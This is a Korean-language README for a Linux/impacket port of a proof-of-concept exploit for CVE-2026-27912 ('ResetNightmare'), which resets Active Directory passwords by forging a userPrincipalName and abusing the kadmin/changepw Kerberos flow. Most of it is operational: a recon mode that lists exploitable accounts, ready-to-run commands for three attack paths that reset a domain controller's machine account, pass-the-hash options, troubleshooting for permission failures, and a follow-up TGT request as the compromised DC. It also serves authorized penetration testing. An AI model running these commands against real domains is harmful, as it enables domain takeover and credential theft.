
CVE-2026-27912 (ResetNightmare) — Semperis Community의 Invoke-ResetNightmare PoC를 Linux/impacket용으로 포팅한 버전
**CVE-2026-27912("ResetNightmare")**용 Linux / impacket 도구. 쓰기 가능한 가짜 userPrincipalName이 있는 계정(UPNUser)을 사용하여, 이름이 대상의 sAMAccountName인 NT_ENTERPRISE 주체에 대해 kadmin/changepw TGT를 요청함으로써 대상 Active Directory 계정의 비밀번호를 재설정합니다.
Semperis Community Invoke-ResetNightmare PowerShell 도구의 Python 포팅입니다(크레딧 참조).
승인된 보안 테스트 및 교육 목적으로만 사용하십시오. 이 도구는 실제 Active Directory 자격 증명을 변경하며 계정을 잠글 수 있습니다.
GenericAll을 부여하고, 비밀번호를 설정하고, 활성화합니다.sAMAccountName을 확인합니다.UPNUser.userPrincipalName = <targetSAN>(가짜 UPN)을 설정합니다.kadmin/changepw에 대해 NT_ENTERPRISE '<targetSAN>'로 AS-REQ를 보냅니다 — KDC는 엔터프라이즈 UPN을 대상에 매핑하고 해당 대상에 대한 비밀번호 변경 TGT를 발급합니다.--upn-user 선택--upn-user는 가짜 UPN을 기록할 계정입니다(사용자, 또는 --computer를 사용하는 컴퓨터). 유일한 요구 사항은 해당 계정의 userPrincipalName에 쓸 수 있어야 한다는 것입니다. 이를 얻는 방법은 세 가지이며, 원본 PowerShell이 의존하는 방법과 동일합니다:
| # | UPN 쓰기 권한을 얻는 방법 | 플래그 | OU가 필요한가? |
|---|---|---|---|
| A | Create Child 권한이 있는 OU에 계정을 생성 → 소유자가 됨 → 도구가 스스로 GenericAll을 부여 → UPN을 기록 | --create-new-path | 예 |
| B | 이미 GenericWrite / GenericAll / WriteProperty(userPrincipalName) 권한이 있는 기존 계정 | (없음) | 아니요 |
| C | 소유하고 있거나 WriteDacl 권한이 있는 기존 계정(직접 속성 쓰기 권한 없음) | --grant-self | 아니요 |
따라서 반드시 OU를 통제해야 하는 것은 아닙니다 — 경로 B는 단일 계정에 대한 위임된 권한으로 작동합니다. 하지만 A/B/C 중 하나는 필요합니다. 어떤 권한이 있는지 확인하려면 --find를 실행하십시오.
도메인 컴퓨터 하나만으로는 충분하지 않습니다. 로컬 관리자이거나 해시를 보유하고 있지만 AD 쓰기 권한이 없는 머신은 A/B/C 중 어느 것도 제공하지 않습니다. 또한 MachineAccountQuota를 통해 생성된 컴퓨터(
addcomputer.py로CN=Computers에 생성)도 작동하지 않습니다: 생성자가 소유자가 아니며 UPN 쓰기 권한을 받지 못하므로 직접 쓰기와--grant-self모두result 50으로 실패합니다. 위임된 OU와 함께 경로 A를 사용하십시오.
python3 -m venv venv
./venv/bin/pip install -r requirements.txt
운영자 자격 증명은 첫 번째 위치 인수입니다: [domain/]username[:password].
비밀번호는 생략할 수 있으며, 생략하면 입력을 요청받습니다.
정찰 — 이 계정으로 무엇을 악용할 수 있는가? UPN을 작성할 수 있는 계정, 객체를 생성할 수 있는 OU, 그리고 MachineAccountQuota를 권장 명령어와 함께 보고합니다:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --find
각 발견 항목은 해당 via: 이유와 객체의 owner:를 출력합니다. owner는 두 가지 컴퓨터 생성 경로를 한눈에 구별해 줍니다. 위임된 컨테이너 컴퓨터는 owner: <you>를 표시하며(암묵적 WRITE_DAC 권한이 있으므로 --grant-self가 작동함), MAQ / CN=Computers 컴퓨터는 owner: BUILTIN\Administrators를 표시합니다(권한이 없으므로 사용할 수 없음):
=== Accounts you can write a UPN on (use as --upn-user) ===
[+] svc_web CN=svc_web,OU=Services,DC=corp,DC=local
via: WriteProperty(userPrincipalName)
owner: Domain Admins
계정을 사용하여 대상 재설정 UPN을 작성할 수 있는 계정 사용:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--upn-user svc_web --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
먼저 UPN 계정을 생성합니다 (OU에 대한 Create Child 권한과 LDAPS가 필요합니다):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
--upn-user pwned_user --upn-user-password 'N3wUpnPass1!' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
컴퓨터 계정 생성을 UPN 계정으로 수행합니다 (--create-new-path + --computer):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' --computer \
--upn-user 'pwned_pc$' --upn-user-password 'N3wUpnPass1!' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
DACL은 다시 쓸 수 있지만 UPN은 쓸 수 없는 기존 계정 (--grant-self).
--find가 Owner 또는 **WriteDacl**을 통해 도달 가능한 --upn-user를 보고할 때(해당 ACL은 변경할 수 있지만 직접적인 속성 쓰기 권한은 없음), --grant-self는 먼저 자신에 대한 GenericAll ACE를 추가한 뒤 공격을 진행합니다. 기존 계정에만 해당합니다 — --create-new-path는 이미 스스로에게 권한을 부여합니다.
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --grant-self \
--upn-user svc_legacy --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
--grant-self자체가result 50으로 실패한다면, 당신은 해당 계정의 소유자가 아니며 그 계정에 대한 WriteDacl 권한도 없습니다 — 이 방법으로는 해결할 수 없습니다. 이는addcomputer.py/MAQ로 생성한 컴퓨터에서 흔히 나타나는 결과입니다. 생성자는 일반적으로 소유권도 UPN 쓰기 권한도 얻지 못하므로, MAQ 컴퓨터는--upn-user로 사용할 수 없습니다.--find를 실행하여WriteProperty(userPrincipalName),GenericWrite,GenericAll,Owner, 또는WriteDacl로 표시되는 계정을 선택하세요.
자세한 AS-REQ / LDAP / kpasswd 로깅을 원하면 -debug를 추가하세요.
| 플래그 | 의미 |
|---|---|
<positional> | 운영자 자격 증명: [domain/]username[:password] |
--target-account | 재설정할 sAMAccountName (컴퓨터 계정은 $로 끝남) |
--target-new-password | 대상에 설정할 새 비밀번호 |
--upn-user | 가짜 UPN을 기록할 계정 (또는 --create-new-path로 생성할 계정) |
--upn-user-password | --upn-user의 평문 비밀번호 |
--computer | --upn-user를 머신 계정으로 취급 |
--create-new-path <DN> | --upn-user를 먼저 생성할 OU/컨테이너 (LDAPS 필요) |
--grant-self | UPN을 기록하기 전에 소유한 기존 --upn-user에 대해 운영자에게 GenericAll 부여 (소유권 / WriteDacl 필요) |
--find | 정찰: 악용 가능한 계정/OU(각 발견 항목의 owner 포함) + 제안 명령을 보고한 후 종료 |
--list-ous | OU/컨테이너를 나열하고 종료 (유효한 --create-new-path 선택용) |
--aes-key <hex> | 비밀번호 대신 AS-REQ에 사용할 --upn-user의 AES 키 |
--upn-user-hash <NT> | 비밀번호 대신 AS-REQ에 사용할 --upn-user의 NT 해시 (또는 LM:NT) |
-k, --kerberos | Kerberos (SASL/GSSAPI) LDAP 바인드 (KRB5CCNAME 사용) |
-H LM:NT | Pass-the-hash LDAP (NTLM) 바인드 |
--no-pass | 비밀번호를 묻지 않음 (-k / KRB5CCNAME 사용) |
--dc-host | DC 호스트명/FQDN (Kerberos SPN용) |
--dc-ip | DC IP 주소 |
--no-ssl | 일반 LDAP/389 (--create-new-path와 호환되지 않음) |
--supported-encryption | 선호 enctype, 정보 제공용 (기본값 aes256) |
-debug | 상세 로깅 |
비밀번호를 생략하면 대화형으로 입력을 요청합니다.
--create-new-path 실패:
| 증상 | 원인 | 해결 |
|---|---|---|
result 50, insufficientAccessRights | OU는 존재하지만 해당 OU에 대한 Create Child 권한이 없습니다. | 쓰기 가능한 OU를 사용하거나(--list-ous / --find), --create-new-path를 빼고 --upn-user로 기존 계정을 악용하세요. |
result 32, noSuchObject — best match: DC=corp,DC=local | DN의 상위 체인이 존재하지 않습니다 (부분/추측 DN). | --list-ous로 열거하고 전체 중첩 DN을 붙여넣으세요. OU는 중첩되며, 이름만으로는 경로가 되지 않습니다. |
비밀번호 단계에서 result 53, unwillingToPerform | 비TLS 채널을 통한 unicodePwd 쓰기, 또는 정책 대비 약한 비밀번호. | LDAPS를 유지하고(--no-ssl을 전달하지 마세요) 정책을 준수하는 비밀번호를 사용하세요. |
"Setting a fake UPN" 단계에서 result 50, insufficientAccessRights가 발생하면: 운영자에게
--upn-user에 대한 WriteProperty(userPrincipalName) 권한이 없습니다. 해당 계정의 DACL을
재작성할 수 있다면(Owner이거나 WriteDacl 보유), 먼저 **--grant-self**를 추가하여
자신에게 GenericAll을 부여하세요. --grant-self도 result 50을 반환한다면 둘 다 없는
것이므로, --find로 다른 계정을 선택하세요.
addcomputer.py/MAQ로 생성한 컴퓨터는 여기서 해결책이 아닙니다: MAQ 생성자는 일반적으로 소유권도WriteProperty(UPN)도 얻지 못하므로, UPN 쓰기와--grant-self가 모두result 50으로 실패합니다.--upn-user에 MAQ를 의존하지 마세요.
참고:
unicodePwd 쓰기만 허용하므로
--create-new-path에는 LDAPS가 필요합니다. --no-ssl은 읽기/UPN 전용 경로에만 사용하세요.--find는 당신이나 당신의 그룹에 부여된 allow ACE(및 객체 소유권과
MachineAccountQuota)만 보고합니다. deny ACE와 교차 도메인 멤버십은 완전히 평가되지
않습니다. 빈 결과가 경로가 없다는 증거는 아니므로 사용 전에 확인하세요.도구는 대상으로서 사용 가능한 티켓을 얻기 위한 후속 절차를 출력합니다:
getTGT.py -dc-ip 10.0.0.10 'CORP.LOCAL/dc01$:N3wPassw0rd!'